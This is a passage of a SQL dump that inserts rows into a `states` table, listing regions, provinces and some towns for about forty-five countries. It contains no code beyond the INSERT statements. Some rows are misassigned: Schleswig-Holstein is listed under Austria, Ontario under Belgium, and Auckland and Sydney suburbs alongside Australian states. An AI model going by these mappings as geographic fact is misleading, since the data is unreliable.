(198, 'Sector claimed by New Zealand', 8, NULL, NULL), (199, 'Sector claimed by Norway', 8, NULL, NULL), (200, 'Unclaimed Sector', 8, NULL, NULL), (201, 'Barbuda', 9, NULL, NULL), (202, 'Saint George', 9, NULL, NULL), (203, 'Saint John', 9, NULL, NULL), (204, 'Saint Mary', 9, NULL, NULL), (205, 'Saint Paul', 9, NULL, NULL), (206, 'Saint Peter', 9, NULL, NULL), (207, 'Saint Philip', 9, NULL, NULL), (208, 'Buenos Aires', 10, NULL, NULL), (209, 'Catamarca', 10, NULL, NULL), (210, 'Chaco', 10, NULL, NULL), (211, 'Chubut', 10, NULL, NULL), (212, 'Cordoba', 10, NULL, NULL), (213, 'Corrientes', 10, NULL, NULL), (214, 'Distrito Federal', 10, NULL, NULL), (215, 'Entre Rios', 10, NULL, NULL), (216, 'Formosa', 10, NULL, NULL), (217, 'Jujuy', 10, NULL, NULL), (218, 'La Pampa', 10, NULL, NULL), (219, 'La Rioja', 10, NULL, NULL), (220, 'Mendoza', 10, NULL, NULL), (221, 'Misiones', 10, NULL, NULL), (222, 'Neuquen', 10, NULL, NULL), (223, 'Rio Negro', 10, NULL, NULL), (224, 'Salta', 10, NULL, NULL), (225, 'San Juan', 10, NULL, NULL), (226, 'San Luis', 10, NULL, NULL), (227, 'Santa Cruz', 10, NULL, NULL), (228, 'Santa Fe', 10, NULL, NULL), (229, 'Santiago del Estero', 10, NULL, NULL), (230, 'Tierra del Fuego', 10, NULL, NULL), (231, 'Tucuman', 10, NULL, NULL), (232, 'Aragatsotn', 11, NULL, NULL), (233, 'Ararat', 11, NULL, NULL), (234, 'Armavir', 11, NULL, NULL), (235, 'Gegharkunik', 11, NULL, NULL), (236, 'Kotaik', 11, NULL, NULL), (237, 'Lori', 11, NULL, NULL), (238, 'Shirak', 11, NULL, NULL), (239, 'Stepanakert', 11, NULL, NULL), (240, 'Syunik', 11, NULL, NULL), (241, 'Tavush', 11, NULL, NULL), (242, 'Vayots Dzor', 11, NULL, NULL), (243, 'Yerevan', 11, NULL, NULL), (244, 'Aruba', 12, NULL, NULL), (245, 'Auckland', 13, NULL, NULL), (246, 'Australian Capital Territory', 13, NULL, NULL), (247, 'Balgowlah', 13, NULL, NULL), (248, 'Balmain', 13, NULL, NULL), (249, 'Bankstown', 13, NULL, NULL), (250, 'Baulkham Hills', 13, NULL, NULL), (251, 'Bonnet Bay', 13, NULL, NULL), (252, 'Camberwell', 13, NULL, NULL), (253, 'Carole Park', 13, NULL, NULL), (254, 'Castle Hill', 13, NULL, NULL), (255, 'Caulfield', 13, NULL, NULL), (256, 'Chatswood', 13, NULL, NULL), (257, 'Cheltenham', 13, NULL, NULL), (258, 'Cherrybrook', 13, NULL, NULL), (259, 'Clayton', 13, NULL, NULL), (260, 'Collingwood', 13, NULL, NULL), (261, 'Frenchs Forest', 13, NULL, NULL), (262, 'Hawthorn', 13, NULL, NULL), (263, 'Jannnali', 13, NULL, NULL), (264, 'Knoxfield', 13, NULL, NULL), (265, 'Melbourne', 13, NULL, NULL), (266, 'New South Wales', 13, NULL, NULL), (267, 'Northern Territory', 13, NULL, NULL), (268, 'Perth', 13, NULL, NULL), (269, 'Queensland', 13, NULL, NULL), (270, 'South Australia', 13, NULL, NULL), (271, 'Tasmania', 13, NULL, NULL), (272, 'Templestowe', 13, NULL, NULL), (273, 'Victoria', 13, NULL, NULL), (274, 'Werribee south', 13, NULL, NULL), (275, 'Western Australia', 13, NULL, NULL), (276, 'Wheeler', 13, NULL, NULL), (277, 'Bundesland Salzburg', 14, NULL, NULL), (278, 'Bundesland Steiermark', 14, NULL, NULL), (279, 'Bundesland Tirol', 14, NULL, NULL), (280, 'Burgenland', 14, NULL, NULL), (281, 'Carinthia', 14, NULL, NULL), (282, 'Karnten', 14, NULL, NULL), (283, 'Liezen', 14, NULL, NULL), (284, 'Lower Austria', 14, NULL, NULL), (285, 'Niederosterreich', 14, NULL, NULL), (286, 'Oberosterreich', 14, NULL, NULL), (287, 'Salzburg', 14, NULL, NULL), (288, 'Schleswig-Holstein', 14, NULL, NULL), (289, 'Steiermark', 14, NULL, NULL), (290, 'Styria', 14, NULL, NULL), (291, 'Tirol', 14, NULL, NULL), (292, 'Upper Austria', 14, NULL, NULL), (293, 'Vorarlberg', 14, NULL, NULL), (294, 'Wien', 14, NULL, NULL), (295, 'Abseron', 15, NULL, NULL), (296, 'Baki Sahari', 15, NULL, NULL), (297, 'Ganca', 15, NULL, NULL), (298, 'Ganja', 15, NULL, NULL), (299, 'Kalbacar', 15, NULL, NULL), (300, 'Lankaran', 15, NULL, NULL), (301, 'Mil-Qarabax', 15, NULL, NULL), (302, 'Mugan-Salyan', 15, NULL, NULL), (303, 'Nagorni-Qarabax', 15, NULL, NULL), (304, 'Naxcivan', 15, NULL, NULL), (305, 'Priaraks', 15, NULL, NULL), (306, 'Qazax', 15, NULL, NULL), (307, 'Saki', 15, NULL, NULL), (308, 'Sirvan', 15, NULL, NULL), (309, 'Xacmaz', 15, NULL, NULL), (310, 'Abaco', 16, NULL, NULL), (311, 'Acklins Island', 16, NULL, NULL), (312, 'Andros', 16, NULL, NULL), (313, 'Berry Islands', 16, NULL, NULL), (314, 'Biminis', 16, NULL, NULL), (315, 'Cat Island', 16, NULL, NULL), (316, 'Crooked Island', 16, NULL, NULL), (317, 'Eleuthera', 16, NULL, NULL), (318, 'Exuma and Cays', 16, NULL, NULL), (319, 'Grand Bahama', 16, NULL, NULL), (320, 'Inagua Islands', 16, NULL, NULL), (321, 'Long Island', 16, NULL, NULL), (322, 'Mayaguana', 16, NULL, NULL), (323, 'New Providence', 16, NULL, NULL), (324, 'Ragged Island', 16, NULL, NULL), (325, 'Rum Cay', 16, NULL, NULL), (326, 'San Salvador', 16, NULL, NULL), (327, 'Isa', 17, NULL, NULL), (328, 'Badiyah', 17, NULL, NULL), (329, 'Hidd', 17, NULL, NULL), (330, 'Jidd Hafs', 17, NULL, NULL), (331, 'Mahama', 17, NULL, NULL), (332, 'Manama', 17, NULL, NULL), (333, 'Sitrah', 17, NULL, NULL), (334, 'al-Manamah', 17, NULL, NULL), (335, 'al-Muharraq', 17, NULL, NULL), (336, 'ar-Rifa\'\'a', 17, NULL, NULL), (337, 'Bagar Hat', 18, NULL, NULL), (338, 'Bandarban', 18, NULL, NULL), (339, 'Barguna', 18, NULL, NULL), (340, 'Barisal', 18, NULL, NULL), (341, 'Bhola', 18, NULL, NULL), (342, 'Bogora', 18, NULL, NULL), (343, 'Brahman Bariya', 18, NULL, NULL), (344, 'Chandpur', 18, NULL, NULL), (345, 'Chattagam', 18, NULL, NULL), (346, 'Chittagong Division', 18, NULL, NULL), (347, 'Chuadanga', 18, NULL, NULL), (348, 'Dhaka', 18, NULL, NULL), (349, 'Dinajpur', 18, NULL, NULL), (350, 'Faridpur', 18, NULL, NULL), (351, 'Feni', 18, NULL, NULL), (352, 'Gaybanda', 18, NULL, NULL), (353, 'Gazipur', 18, NULL, NULL), (354, 'Gopalganj', 18, NULL, NULL), (355, 'Habiganj', 18, NULL, NULL), (356, 'Jaipur Hat', 18, NULL, NULL), (357, 'Jamalpur', 18, NULL, NULL), (358, 'Jessor', 18, NULL, NULL), (359, 'Jhalakati', 18, NULL, NULL), (360, 'Jhanaydah', 18, NULL, NULL), (361, 'Khagrachhari', 18, NULL, NULL), (362, 'Khulna', 18, NULL, NULL), (363, 'Kishorganj', 18, NULL, NULL), (364, 'Koks Bazar', 18, NULL, NULL), (365, 'Komilla', 18, NULL, NULL), (366, 'Kurigram', 18, NULL, NULL), (367, 'Kushtiya', 18, NULL, NULL), (368, 'Lakshmipur', 18, NULL, NULL), (369, 'Lalmanir Hat', 18, NULL, NULL), (370, 'Madaripur', 18, NULL, NULL), (371, 'Magura', 18, NULL, NULL), (372, 'Maimansingh', 18, NULL, NULL), (373, 'Manikganj', 18, NULL, NULL), (374, 'Maulvi Bazar', 18, NULL, NULL), (375, 'Meherpur', 18, NULL, NULL), (376, 'Munshiganj', 18, NULL, NULL), (377, 'Naral', 18, NULL, NULL), (378, 'Narayanganj', 18, NULL, NULL), (379, 'Narsingdi', 18, NULL, NULL), (380, 'Nator', 18, NULL, NULL), (381, 'Naugaon', 18, NULL, NULL), (382, 'Nawabganj', 18, NULL, NULL), (383, 'Netrakona', 18, NULL, NULL), (384, 'Nilphamari', 18, NULL, NULL), (385, 'Noakhali', 18, NULL, NULL), (386, 'Pabna', 18, NULL, NULL), (387, 'Panchagarh', 18, NULL, NULL), (388, 'Patuakhali', 18, NULL, NULL), (389, 'Pirojpur', 18, NULL, NULL), (390, 'Rajbari', 18, NULL, NULL), (391, 'Rajshahi', 18, NULL, NULL), (392, 'Rangamati', 18, NULL, NULL), (393, 'Rangpur', 18, NULL, NULL), (394, 'Satkhira', 18, NULL, NULL), (395, 'Shariatpur', 18, NULL, NULL), (396, 'Sherpur', 18, NULL, NULL), (397, 'Silhat', 18, NULL, NULL), (398, 'Sirajganj', 18, NULL, NULL), (399, 'Sunamganj', 18, NULL, NULL), (400, 'Tangayal', 18, NULL, NULL), (401, 'Thakurgaon', 18, NULL, NULL), (402, 'Christ Church', 19, NULL, NULL), (403, 'Saint Andrew', 19, NULL, NULL), (404, 'Saint George', 19, NULL, NULL), (405, 'Saint James', 19, NULL, NULL), (406, 'Saint John', 19, NULL, NULL), (407, 'Saint Joseph', 19, NULL, NULL), (408, 'Saint Lucy', 19, NULL, NULL), (409, 'Saint Michael', 19, NULL, NULL), (410, 'Saint Peter', 19, NULL, NULL), (411, 'Saint Philip', 19, NULL, NULL), (412, 'Saint Thomas', 19, NULL, NULL), (413, 'Brest', 20, NULL, NULL), (414, 'Homjel', 20, NULL, NULL), (415, 'Hrodna', 20, NULL, NULL), (416, 'Mahiljow', 20, NULL, NULL), (417, 'Mahilyowskaya Voblasts', 20, NULL, NULL), (418, 'Minsk', 20, NULL, NULL), (419, 'Minskaja Voblasts', 20, NULL, NULL), (420, 'Petrik', 20, NULL, NULL), (421, 'Vicebsk', 20, NULL, NULL), (422, 'Antwerpen', 21, NULL, NULL), (423, 'Berchem', 21, NULL, NULL), (424, 'Brabant', 21, NULL, NULL), (425, 'Brabant Wallon', 21, NULL, NULL), (426, 'Brussel', 21, NULL, NULL), (427, 'East Flanders', 21, NULL, NULL), (428, 'Hainaut', 21, NULL, NULL), (429, 'Liege', 21, NULL, NULL), (430, 'Limburg', 21, NULL, NULL), (431, 'Luxembourg', 21, NULL, NULL), (432, 'Namur', 21, NULL, NULL), (433, 'Ontario', 21, NULL, NULL), (434, 'Oost-Vlaanderen', 21, NULL, NULL), (435, 'Provincie Brabant', 21, NULL, NULL), (436, 'Vlaams-Brabant', 21, NULL, NULL), (437, 'Wallonne', 21, NULL, NULL), (438, 'West-Vlaanderen', 21, NULL, NULL), (439, 'Belize', 22, NULL, NULL), (440, 'Cayo', 22, NULL, NULL), (441, 'Corozal', 22, NULL, NULL), (442, 'Orange Walk', 22, NULL, NULL), (443, 'Stann Creek', 22, NULL, NULL), (444, 'Toledo', 22, NULL, NULL), (445, 'Alibori', 23, NULL, NULL), (446, 'Atacora', 23, NULL, NULL), (447, 'Atlantique', 23, NULL, NULL), (448, 'Borgou', 23, NULL, NULL), (449, 'Collines', 23, NULL, NULL), (450, 'Couffo', 23, NULL, NULL), (451, 'Donga', 23, NULL, NULL), (452, 'Littoral', 23, NULL, NULL), (453, 'Mono', 23, NULL, NULL), (454, 'Oueme', 23, NULL, NULL), (455, 'Plateau', 23, NULL, NULL), (456, 'Zou', 23, NULL, NULL), (457, 'Hamilton', 24, NULL, NULL), (458, 'Saint George', 24, NULL, NULL), (459, 'Bumthang', 25, NULL, NULL), (460, 'Chhukha', 25, NULL, NULL), (461, 'Chirang', 25, NULL, NULL), (462, 'Daga', 25, NULL, NULL), (463, 'Geylegphug', 25, NULL, NULL), (464, 'Ha', 25, NULL, NULL), (465, 'Lhuntshi', 25, NULL, NULL), (466, 'Mongar', 25, NULL, NULL), (467, 'Pemagatsel', 25, NULL, NULL), (468, 'Punakha', 25, NULL, NULL), (469, 'Rinpung', 25, NULL, NULL), (470, 'Samchi', 25, NULL, NULL), (471, 'Samdrup Jongkhar', 25, NULL, NULL), (472, 'Shemgang', 25, NULL, NULL), (473, 'Tashigang', 25, NULL, NULL), (474, 'Timphu', 25, NULL, NULL), (475, 'Tongsa', 25, NULL, NULL), (476, 'Wangdiphodrang', 25, NULL, NULL), (477, 'Beni', 26, NULL, NULL), (478, 'Chuquisaca', 26, NULL, NULL), (479, 'Cochabamba', 26, NULL, NULL), (480, 'La Paz', 26, NULL, NULL), (481, 'Oruro', 26, NULL, NULL), (482, 'Pando', 26, NULL, NULL), (483, 'Potosi', 26, NULL, NULL), (484, 'Santa Cruz', 26, NULL, NULL), (485, 'Tarija', 26, NULL, NULL), (486, 'Federacija Bosna i Hercegovina', 27, NULL, NULL), (487, 'Republika Srpska', 27, NULL, NULL), (488, 'Central Bobonong', 28, NULL, NULL), (489, 'Central Boteti', 28, NULL, NULL), (490, 'Central Mahalapye', 28, NULL, NULL), (491, 'Central Serowe-Palapye', 28, NULL, NULL), (492, 'Central Tutume', 28, NULL, NULL), (493, 'Chobe', 28, NULL, NULL), (494, 'Francistown', 28, NULL, NULL), (495, 'Gaborone', 28, NULL, NULL), (496, 'Ghanzi', 28, NULL, NULL), (497, 'Jwaneng', 28, NULL, NULL), (498, 'Kgalagadi North', 28, NULL, NULL), (499, 'Kgalagadi South', 28, NULL, NULL), (500, 'Kgatleng', 28, NULL, NULL), (501, 'Kweneng', 28, NULL, NULL), (502, 'Lobatse', 28, NULL, NULL), (503, 'Ngamiland', 28, NULL, NULL), (504, 'Ngwaketse', 28, NULL, NULL), (505, 'North East', 28, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (506, 'Okavango', 28, NULL, NULL), (507, 'Orapa', 28, NULL, NULL), (508, 'Selibe Phikwe', 28, NULL, NULL), (509, 'South East', 28, NULL, NULL), (510, 'Sowa', 28, NULL, NULL), (511, 'Bouvet Island', 29, NULL, NULL), (512, 'Acre', 30, NULL, NULL), (513, 'Alagoas', 30, NULL, NULL), (514, 'Amapa', 30, NULL, NULL), (515, 'Amazonas', 30, NULL, NULL), (516, 'Bahia', 30, NULL, NULL), (517, 'Ceara', 30, NULL, NULL), (518, 'Distrito Federal', 30, NULL, NULL), (519, 'Espirito Santo', 30, NULL, NULL), (520, 'Estado de Sao Paulo', 30, NULL, NULL), (521, 'Goias', 30, NULL, NULL), (522, 'Maranhao', 30, NULL, NULL), (523, 'Mato Grosso', 30, NULL, NULL), (524, 'Mato Grosso do Sul', 30, NULL, NULL), (525, 'Minas Gerais', 30, NULL, NULL), (526, 'Para', 30, NULL, NULL), (527, 'Paraiba', 30, NULL, NULL), (528, 'Parana', 30, NULL, NULL), (529, 'Pernambuco', 30, NULL, NULL), (530, 'Piaui', 30, NULL, NULL), (531, 'Rio Grande do Norte', 30, NULL, NULL), (532, 'Rio Grande do Sul', 30, NULL, NULL), (533, 'Rio de Janeiro', 30, NULL, NULL), (534, 'Rondonia', 30, NULL, NULL), (535, 'Roraima', 30, NULL, NULL), (536, 'Santa Catarina', 30, NULL, NULL), (537, 'Sao Paulo', 30, NULL, NULL), (538, 'Sergipe', 30, NULL, NULL), (539, 'Tocantins', 30, NULL, NULL), (540, 'British Indian Ocean Territory', 31, NULL, NULL), (541, 'Belait', 32, NULL, NULL), (542, 'Brunei-Muara', 32, NULL, NULL), (543, 'Temburong', 32, NULL, NULL), (544, 'Tutong', 32, NULL, NULL), (545, 'Blagoevgrad', 33, NULL, NULL), (546, 'Burgas', 33, NULL, NULL), (547, 'Dobrich', 33, NULL, NULL), (548, 'Gabrovo', 33, NULL, NULL), (549, 'Haskovo', 33, NULL, NULL), (550, 'Jambol', 33, NULL, NULL), (551, 'Kardzhali', 33, NULL, NULL), (552, 'Kjustendil', 33, NULL, NULL), (553, 'Lovech', 33, NULL, NULL), (554, 'Montana', 33, NULL, NULL), (555, 'Oblast Sofiya-Grad', 33, NULL, NULL), (556, 'Pazardzhik', 33, NULL, NULL), (557, 'Pernik', 33, NULL, NULL), (558, 'Pleven', 33, NULL, NULL), (559, 'Plovdiv', 33, NULL, NULL), (560, 'Razgrad', 33, NULL, NULL), (561, 'Ruse', 33, NULL, NULL), (562, 'Shumen', 33, NULL, NULL), (563, 'Silistra', 33, NULL, NULL), (564, 'Sliven', 33, NULL, NULL), (565, 'Smoljan', 33, NULL, NULL), (566, 'Sofija grad', 33, NULL, NULL), (567, 'Sofijska oblast', 33, NULL, NULL), (568, 'Stara Zagora', 33, NULL, NULL), (569, 'Targovishte', 33, NULL, NULL), (570, 'Varna', 33, NULL, NULL), (571, 'Veliko Tarnovo', 33, NULL, NULL), (572, 'Vidin', 33, NULL, NULL), (573, 'Vraca', 33, NULL, NULL), (574, 'Yablaniza', 33, NULL, NULL), (575, 'Bale', 34, NULL, NULL), (576, 'Bam', 34, NULL, NULL), (577, 'Bazega', 34, NULL, NULL), (578, 'Bougouriba', 34, NULL, NULL), (579, 'Boulgou', 34, NULL, NULL), (580, 'Boulkiemde', 34, NULL, NULL), (581, 'Comoe', 34, NULL, NULL), (582, 'Ganzourgou', 34, NULL, NULL), (583, 'Gnagna', 34, NULL, NULL), (584, 'Gourma', 34, NULL, NULL), (585, 'Houet', 34, NULL, NULL), (586, 'Ioba', 34, NULL, NULL), (587, 'Kadiogo', 34, NULL, NULL), (588, 'Kenedougou', 34, NULL, NULL), (589, 'Komandjari', 34, NULL, NULL), (590, 'Kompienga', 34, NULL, NULL), (591, 'Kossi', 34, NULL, NULL), (592, 'Kouritenga', 34, NULL, NULL), (593, 'Kourweogo', 34, NULL, NULL), (594, 'Leraba', 34, NULL, NULL), (595, 'Mouhoun', 34, NULL, NULL), (596, 'Nahouri', 34, NULL, NULL), (597, 'Namentenga', 34, NULL, NULL), (598, 'Noumbiel', 34, NULL, NULL), (599, 'Oubritenga', 34, NULL, NULL), (600, 'Oudalan', 34, NULL, NULL), (601, 'Passore', 34, NULL, NULL), (602, 'Poni', 34, NULL, NULL), (603, 'Sanguie', 34, NULL, NULL), (604, 'Sanmatenga', 34, NULL, NULL), (605, 'Seno', 34, NULL, NULL), (606, 'Sissili', 34, NULL, NULL), (607, 'Soum', 34, NULL, NULL), (608, 'Sourou', 34, NULL, NULL), (609, 'Tapoa', 34, NULL, NULL), (610, 'Tuy', 34, NULL, NULL), (611, 'Yatenga', 34, NULL, NULL), (612, 'Zondoma', 34, NULL, NULL), (613, 'Zoundweogo', 34, NULL, NULL), (614, 'Bubanza', 35, NULL, NULL), (615, 'Bujumbura', 35, NULL, NULL), (616, 'Bururi', 35, NULL, NULL), (617, 'Cankuzo', 35, NULL, NULL), (618, 'Cibitoke', 35, NULL, NULL), (619, 'Gitega', 35, NULL, NULL), (620, 'Karuzi', 35, NULL, NULL), (621, 'Kayanza', 35, NULL, NULL), (622, 'Kirundo', 35, NULL, NULL), (623, 'Makamba', 35, NULL, NULL), (624, 'Muramvya', 35, NULL, NULL), (625, 'Muyinga', 35, NULL, NULL), (626, 'Ngozi', 35, NULL, NULL), (627, 'Rutana', 35, NULL, NULL), (628, 'Ruyigi', 35, NULL, NULL), (629, 'Banteay Mean Chey', 36, NULL, NULL), (630, 'Bat Dambang', 36, NULL, NULL), (631, 'Kampong Cham', 36, NULL, NULL), (632, 'Kampong Chhnang', 36, NULL, NULL), (633, 'Kampong Spoeu', 36, NULL, NULL), (634, 'Kampong Thum', 36, NULL, NULL), (635, 'Kampot', 36, NULL, NULL), (636, 'Kandal', 36, NULL, NULL), (637, 'Kaoh Kong', 36, NULL, NULL), (638, 'Kracheh', 36, NULL, NULL), (639, 'Krong Kaeb', 36, NULL, NULL), (640, 'Krong Pailin', 36, NULL, NULL), (641, 'Krong Preah Sihanouk', 36, NULL, NULL), (642, 'Mondol Kiri', 36, NULL, NULL), (643, 'Otdar Mean Chey', 36, NULL, NULL), (644, 'Phnum Penh', 36, NULL, NULL), (645, 'Pousat', 36, NULL, NULL), (646, 'Preah Vihear', 36, NULL, NULL), (647, 'Prey Veaeng', 36, NULL, NULL), (648, 'Rotanak Kiri', 36, NULL, NULL), (649, 'Siem Reab', 36, NULL, NULL), (650, 'Stueng Traeng', 36, NULL, NULL), (651, 'Svay Rieng', 36, NULL, NULL), (652, 'Takaev', 36, NULL, NULL), (653, 'Adamaoua', 37, NULL, NULL), (654, 'Centre', 37, NULL, NULL), (655, 'Est', 37, NULL, NULL), (656, 'Littoral', 37, NULL, NULL), (657, 'Nord', 37, NULL, NULL), (658, 'Nord Extreme', 37, NULL, NULL), (659, 'Nordouest', 37, NULL, NULL), (660, 'Ouest', 37, NULL, NULL), (661, 'Sud', 37, NULL, NULL), (662, 'Sudouest', 37, NULL, NULL), (663, 'Alberta', 38, NULL, NULL), (664, 'British Columbia', 38, NULL, NULL), (665, 'Manitoba', 38, NULL, NULL), (666, 'New Brunswick', 38, NULL, NULL), (667, 'Newfoundland and Labrador', 38, NULL, NULL), (668, 'Northwest Territories', 38, NULL, NULL), (669, 'Nova Scotia', 38, NULL, NULL), (670, 'Nunavut', 38, NULL, NULL), (671, 'Ontario', 38, NULL, NULL), (672, 'Prince Edward Island', 38, NULL, NULL), (673, 'Quebec', 38, NULL, NULL), (674, 'Saskatchewan', 38, NULL, NULL), (675, 'Yukon', 38, NULL, NULL), (676, 'Boavista', 39, NULL, NULL), (677, 'Brava', 39, NULL, NULL), (678, 'Fogo', 39, NULL, NULL), (679, 'Maio', 39, NULL, NULL), (680, 'Sal', 39, NULL, NULL), (681, 'Santo Antao', 39, NULL, NULL), (682, 'Sao Nicolau', 39, NULL, NULL), (683, 'Sao Tiago', 39, NULL, NULL), (684, 'Sao Vicente', 39, NULL, NULL), (685, 'Grand Cayman', 40, NULL, NULL), (686, 'Bamingui-Bangoran', 41, NULL, NULL), (687, 'Bangui', 41, NULL, NULL), (688, 'Basse-Kotto', 41, NULL, NULL), (689, 'Haut-Mbomou', 41, NULL, NULL), (690, 'Haute-Kotto', 41, NULL, NULL), (691, 'Kemo', 41, NULL, NULL), (692, 'Lobaye', 41, NULL, NULL), (693, 'Mambere-Kadei', 41, NULL, NULL), (694, 'Mbomou', 41, NULL, NULL), (695, 'Nana-Gribizi', 41, NULL, NULL), (696, 'Nana-Mambere', 41, NULL, NULL), (697, 'Ombella Mpoko', 41, NULL, NULL), (698, 'Ouaka', 41, NULL, NULL), (699, 'Ouham', 41, NULL, NULL), (700, 'Ouham-Pende', 41, NULL, NULL), (701, 'Sangha-Mbaere', 41, NULL, NULL), (702, 'Vakaga', 41, NULL, NULL), (703, 'Batha', 42, NULL, NULL), (704, 'Biltine', 42, NULL, NULL), (705, 'Bourkou-Ennedi-Tibesti', 42, NULL, NULL), (706, 'Chari-Baguirmi', 42, NULL, NULL), (707, 'Guera', 42, NULL, NULL), (708, 'Kanem', 42, NULL, NULL), (709, 'Lac', 42, NULL, NULL), (710, 'Logone Occidental', 42, NULL, NULL), (711, 'Logone Oriental', 42, NULL, NULL), (712, 'Mayo-Kebbi', 42, NULL, NULL), (713, 'Moyen-Chari', 42, NULL, NULL), (714, 'Ouaddai', 42, NULL, NULL), (715, 'Salamat', 42, NULL, NULL), (716, 'Tandjile', 42, NULL, NULL), (717, 'Aisen', 43, NULL, NULL), (718, 'Antofagasta', 43, NULL, NULL), (719, 'Araucania', 43, NULL, NULL), (720, 'Atacama', 43, NULL, NULL), (721, 'Bio Bio', 43, NULL, NULL), (722, 'Coquimbo', 43, NULL, NULL), (723, 'Libertador General Bernardo O', 43, NULL, NULL), (724, 'Los Lagos', 43, NULL, NULL), (725, 'Magellanes', 43, NULL, NULL), (726, 'Maule', 43, NULL, NULL), (727, 'Metropolitana', 43, NULL, NULL), (728, 'Metropolitana de Santiago', 43, NULL, NULL), (729, 'Tarapaca', 43, NULL, NULL), (730, 'Valparaiso', 43, NULL, NULL), (731, 'Anhui', 44, NULL, NULL), (732, 'Anhui Province', 44, NULL, NULL), (733, 'Anhui Sheng', 44, NULL, NULL), (734, 'Aomen', 44, NULL, NULL), (735, 'Beijing', 44, NULL, NULL), (736, 'Beijing Shi', 44, NULL, NULL), (737, 'Chongqing', 44, NULL, NULL), (738, 'Fujian', 44, NULL, NULL), (739, 'Fujian Sheng', 44, NULL, NULL), (740, 'Gansu', 44, NULL, NULL), (741, 'Guangdong', 44, NULL, NULL), (742, 'Guangdong Sheng', 44, NULL, NULL), (743, 'Guangxi', 44, NULL, NULL), (744, 'Guizhou', 44, NULL, NULL), (745, 'Hainan', 44, NULL, NULL), (746, 'Hebei', 44, NULL, NULL), (747, 'Heilongjiang', 44, NULL, NULL), (748, 'Henan', 44, NULL, NULL), (749, 'Hubei', 44, NULL, NULL), (750, 'Hunan', 44, NULL, NULL), (751, 'Jiangsu', 44, NULL, NULL), (752, 'Jiangsu Sheng', 44, NULL, NULL), (753, 'Jiangxi', 44, NULL, NULL), (754, 'Jilin', 44, NULL, NULL), (755, 'Liaoning', 44, NULL, NULL), (756, 'Liaoning Sheng', 44, NULL, NULL), (757, 'Nei Monggol', 44, NULL, NULL), (758, 'Ningxia Hui', 44, NULL, NULL), (759, 'Qinghai', 44, NULL, NULL), (760, 'Shaanxi', 44, NULL, NULL), (761, 'Shandong', 44, NULL, NULL), (762, 'Shandong Sheng', 44, NULL, NULL), (763, 'Shanghai', 44, NULL, NULL), (764, 'Shanxi', 44, NULL, NULL), (765, 'Sichuan', 44, NULL, NULL), (766, 'Tianjin', 44, NULL, NULL), (767, 'Xianggang', 44, NULL, NULL), (768, 'Xinjiang', 44, NULL, NULL), (769, 'Xizang', 44, NULL, NULL), (770, 'Yunnan', 44, NULL, NULL), (771, 'Zhejiang', 44, NULL, NULL), (772, 'Zhejiang Sheng', 44, NULL, NULL), (773, 'Christmas Island', 45, NULL, NULL), (774, 'Cocos (Keeling) Islands', 46, NULL, NULL), (775, 'Amazonas', 47, NULL, NULL), (776, 'Antioquia', 47, NULL, NULL), (777, 'Arauca', 47, NULL, NULL), (778, 'Atlantico', 47, NULL, NULL), (779, 'Bogota', 47, NULL, NULL), (780, 'Bolivar', 47, NULL, NULL), (781, 'Boyaca', 47, NULL, NULL), (782, 'Caldas', 47, NULL, NULL), (783, 'Caqueta', 47, NULL, NULL), (784, 'Casanare', 47, NULL, NULL), (785, 'Cauca', 47, NULL, NULL), (786, 'Cesar', 47, NULL, NULL), (787, 'Choco', 47, NULL, NULL), (788, 'Cordoba', 47, NULL, NULL), (789, 'Cundinamarca', 47, NULL, NULL), (790, 'Guainia', 47, NULL, NULL), (791, 'Guaviare', 47, NULL, NULL), (792, 'Huila', 47, NULL, NULL), (793, 'La Guajira', 47, NULL, NULL), (794, 'Magdalena', 47, NULL, NULL), (795, 'Meta', 47, NULL, NULL), (796, 'Narino', 47, NULL, NULL), (797, 'Norte de Santander', 47, NULL, NULL), (798, 'Putumayo', 47, NULL, NULL), (799, 'Quindio', 47, NULL, NULL), (800, 'Risaralda', 47, NULL, NULL), (801, 'San Andres y Providencia', 47, NULL, NULL), (802, 'Santander', 47, NULL, NULL), (803, 'Sucre', 47, NULL, NULL), (804, 'Tolima', 47, NULL, NULL), (805, 'Valle del Cauca', 47, NULL, NULL), (806, 'Vaupes', 47, NULL, NULL), (807, 'Vichada', 47, NULL, NULL), (808, 'Mwali', 48, NULL, NULL), (809, 'Njazidja', 48, NULL, NULL), (810, 'Nzwani', 48, NULL, NULL), (811, 'Bouenza', 49, NULL, NULL), (812, 'Brazzaville', 49, NULL, NULL), (813, 'Cuvette', 49, NULL, NULL), (814, 'Kouilou', 49, NULL, NULL), (815, 'Lekoumou', 49, NULL, NULL), (816, 'Likouala', 49, NULL, NULL), (817, 'Niari', 49, NULL, NULL), (818, 'Plateaux', 49, NULL, NULL), (819, 'Pool', 49, NULL, NULL), (820, 'Sangha', 49, NULL, NULL), (821, 'Bandundu', 50, NULL, NULL), (822, 'Bas-Congo', 50, NULL, NULL), (823, 'Equateur', 50, NULL, NULL), (824, 'Haut-Congo', 50, NULL, NULL), (825, 'Kasai-Occidental', 50, NULL, NULL), (826, 'Kasai-Oriental', 50, NULL, NULL), (827, 'Katanga', 50, NULL, NULL), (828, 'Kinshasa', 50, NULL, NULL), (829, 'Maniema', 50, NULL, NULL), (830, 'Nord-Kivu', 50, NULL, NULL), (831, 'Sud-Kivu', 50, NULL, NULL), (832, 'Aitutaki', 51, NULL, NULL), (833, 'Atiu', 51, NULL, NULL), (834, 'Mangaia', 51, NULL, NULL), (835, 'Manihiki', 51, NULL, NULL), (836, 'Mauke', 51, NULL, NULL), (837, 'Mitiaro', 51, NULL, NULL), (838, 'Nassau', 51, NULL, NULL), (839, 'Pukapuka', 51, NULL, NULL), (840, 'Rakahanga', 51, NULL, NULL), (841, 'Rarotonga', 51, NULL, NULL), (842, 'Tongareva', 51, NULL, NULL), (843, 'Alajuela', 52, NULL, NULL), (844, 'Cartago', 52, NULL, NULL), (845, 'Guanacaste', 52, NULL, NULL), (846, 'Heredia', 52, NULL, NULL), (847, 'Limon', 52, NULL, NULL), (848, 'Puntarenas', 52, NULL, NULL), (849, 'San Jose', 52, NULL, NULL), (850, 'Abidjan', 53, NULL, NULL), (851, 'Agneby', 53, NULL, NULL), (852, 'Bafing', 53, NULL, NULL), (853, 'Denguele', 53, NULL, NULL), (854, 'Dix-huit Montagnes', 53, NULL, NULL), (855, 'Fromager', 53, NULL, NULL), (856, 'Haut-Sassandra', 53, NULL, NULL), (857, 'Lacs', 53, NULL, NULL), (858, 'Lagunes', 53, NULL, NULL), (859, 'Marahoue', 53, NULL, NULL), (860, 